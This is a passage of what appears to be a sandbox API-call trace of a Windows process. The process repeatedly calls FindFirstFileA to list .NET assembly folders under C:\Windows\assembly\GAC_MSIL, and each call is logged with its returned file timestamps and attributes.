ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549710 [0237.222] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\GAC_MSIL\\System.Speech\\3.0.0.0__31bf3856ad364e35\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x819b78df, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xac017c0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xac017c0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0237.228] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\GAC_MSIL\\System.Web.Abstractions\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81a03ba0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xac27920, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xac27920, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549710 [0237.234] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\GAC_MSIL\\System.Web.Abstractions\\3.5.0.0__31bf3856ad364e35\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81a03ba0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xac27920, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xac27920, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0237.239] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\GAC_MSIL\\System.Web.DynamicData\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81a03ba0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xac27920, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xac27920, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549710 [0237.245] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\GAC_MSIL\\System.Web.DynamicData\\3.5.0.0__31bf3856ad364e35\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81a03ba0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xac4da80, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xac4da80, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0237.250] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\GAC_MSIL\\System.Web.DynamicData.Design\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x819dda40, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xac4da80, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xac4da80, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549710 [0237.255] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\GAC_MSIL\\System.Web.DynamicData.Design\\3.5.0.0__31bf3856ad364e35\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x819dda40, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xac4da80, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xac4da80, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0237.260] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\GAC_MSIL\\System.Web.Entity\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x819dda40, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xac73be0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xac73be0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549710 [0237.266] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\GAC_MSIL\\System.Web.Entity\\3.5.0.0__b77a5c561934e089\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x819dda40, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xac73be0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xac73be0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0237.271] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\GAC_MSIL\\System.Web.Entity.Design\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81a03ba0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xac73be0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xac73be0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549710 [0237.276] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\GAC_MSIL\\System.Web.Entity.Design\\3.5.0.0__b77a5c561934e089\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81a03ba0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xac99d40, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xac99d40, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0237.283] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\GAC_MSIL\\System.Web.Extensions\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81a29d00, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xac99d40, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xac99d40, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549710 [0237.289] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\GAC_MSIL\\System.Web.Extensions\\3.5.0.0__31bf3856ad364e35\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81a29d00, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xacbfea0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xacbfea0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0237.308] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\GAC_MSIL\\System.Web.Extensions.Design\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81a29d00, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xace6000, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xace6000, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549710 [0237.315] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\GAC_MSIL\\System.Web.Extensions.Design\\3.5.0.0__31bf3856ad364e35\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81a29d00, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xace6000, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xace6000, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0237.321] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\GAC_MSIL\\System.Web.Mobile\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfde2c3de, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xad0c160, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xad0c160, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549710 [0237.327] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\GAC_MSIL\\System.Web.Mobile\\2.0.0.0__b03f5f7f11d50a3a\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfde2c3de, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xad0c160, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xad0c160, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0237.332] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\GAC_MSIL\\System.Web.RegularExpressions\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfde2c3de, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xad0c160, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xad0c160, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549710 [0237.338] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\GAC_MSIL\\System.Web.RegularExpressions\\2.0.0.0__b03f5f7f11d50a3a\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfde2c3de, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xad322c0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xad322c0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0237.344] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\GAC_MSIL\\System.Web.Routing\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x819b78df, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xad322c0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xad322c0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549710 [0237.350] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\GAC_MSIL\\System.Web.Routing\\3.5.0.0__31bf3856ad364e35\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x819b78df, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xad322c0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xad322c0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0237.356] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\GAC_MSIL\\System.Web.Services\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfde2c3de, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xad58420, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xad58420, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549710 [0237.364] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\GAC_MSIL\\System.Web.Services\\2.0.0.0__b03f5f7f11d50a3a\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfde2c3de, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xad58420, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xad58420, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0237.371] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\GAC_MSIL\\System.Windows.Forms\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfde2c3de, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xad7e580, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xad7e580, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549710 [0237.378] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\GAC_MSIL\\System.Windows.Forms\\2.0.0.0__b77a5c561934e089\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfde2c3de, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xad7e580, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xad7e580, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0237.385] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\GAC_MSIL\\System.Windows.Presentation\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81a29d00, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xada46e0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xada46e0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549710 [0237.390] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\GAC_MSIL\\System.Windows.Presentation\\3.5.0.0__b77a5c561934e089\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81a29d00, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xada46e0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xada46e0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0237.397] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\GAC_MSIL\\System.Workflow.Activities\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x819b78df, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xadca840, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xadca840, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549710 [0237.403] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\GAC_MSIL\\System.Workflow.Activities\\3.0.0.0__31bf3856ad364e35\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x819b78df, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xadca840, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xadca840, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0237.411] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\GAC_MSIL\\System.Workflow.ComponentModel\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x819dda40, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xadca840, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xadca840, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549710 [0237.417] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\GAC_MSIL\\System.Workflow.ComponentModel\\3.0.0.0__31bf3856ad364e35\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x819dda40, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xadf09a0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xadf09a0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0237.423] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\GAC_MSIL\\System.Workflow.Runtime\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81a4fe61, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xadf09a0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xadf09a0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549710 [0237.428] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\GAC_MSIL\\System.Workflow.Runtime\\3.0.0.0__31bf3856ad364e35\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81a4fe61, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xae16b00, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xae16b00, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0237.434] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\GAC_MSIL\\System.WorkflowServices\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81a4fe61, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xae16b00, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xae16b00, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549710 [0237.439] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\GAC_MSIL\\System.WorkflowServices\\3.5.0.0__31bf3856ad364e35\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81a4fe61, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xae16b00, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xae16b00, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0237.445] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\GAC_MSIL\\System.Xml\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfde52538, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xae3cc60, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xae3cc60, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549710 [0237.450] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\GAC_MSIL\\System.Xml\\2.0.0.0__b77a5c561934e089\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfde52538, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xae3cc60, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xae3cc60, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0237.455] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\GAC_MSIL\\System.Xml.Linq\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81a29d00, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xae3cc60, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xae3cc60, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549710 [0237.461] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\GAC_MSIL\\System.Xml.Linq\\3.5.0.0__b77a5c561934e089\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81a29d00, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xae62dc0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xae62dc0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0237.468] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\GAC_MSIL\\TaskScheduler\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfde52538, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xae62dc0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xae62dc0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549710 [0237.473] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\GAC_MSIL\\TaskScheduler\\6.1.0.0__31bf3856ad364e35\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfde52538, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xae62dc0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xae62dc0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0237.479] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\GAC_MSIL\\TaskScheduler.Resources\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x38308564, ftCreationTime.dwHighDateTime=0x1ca0445, ftLastAccessTime.dwLowDateTime=0xae88f20, ftLastAccessTime.dwHighDateTime=0x1d5c25a, 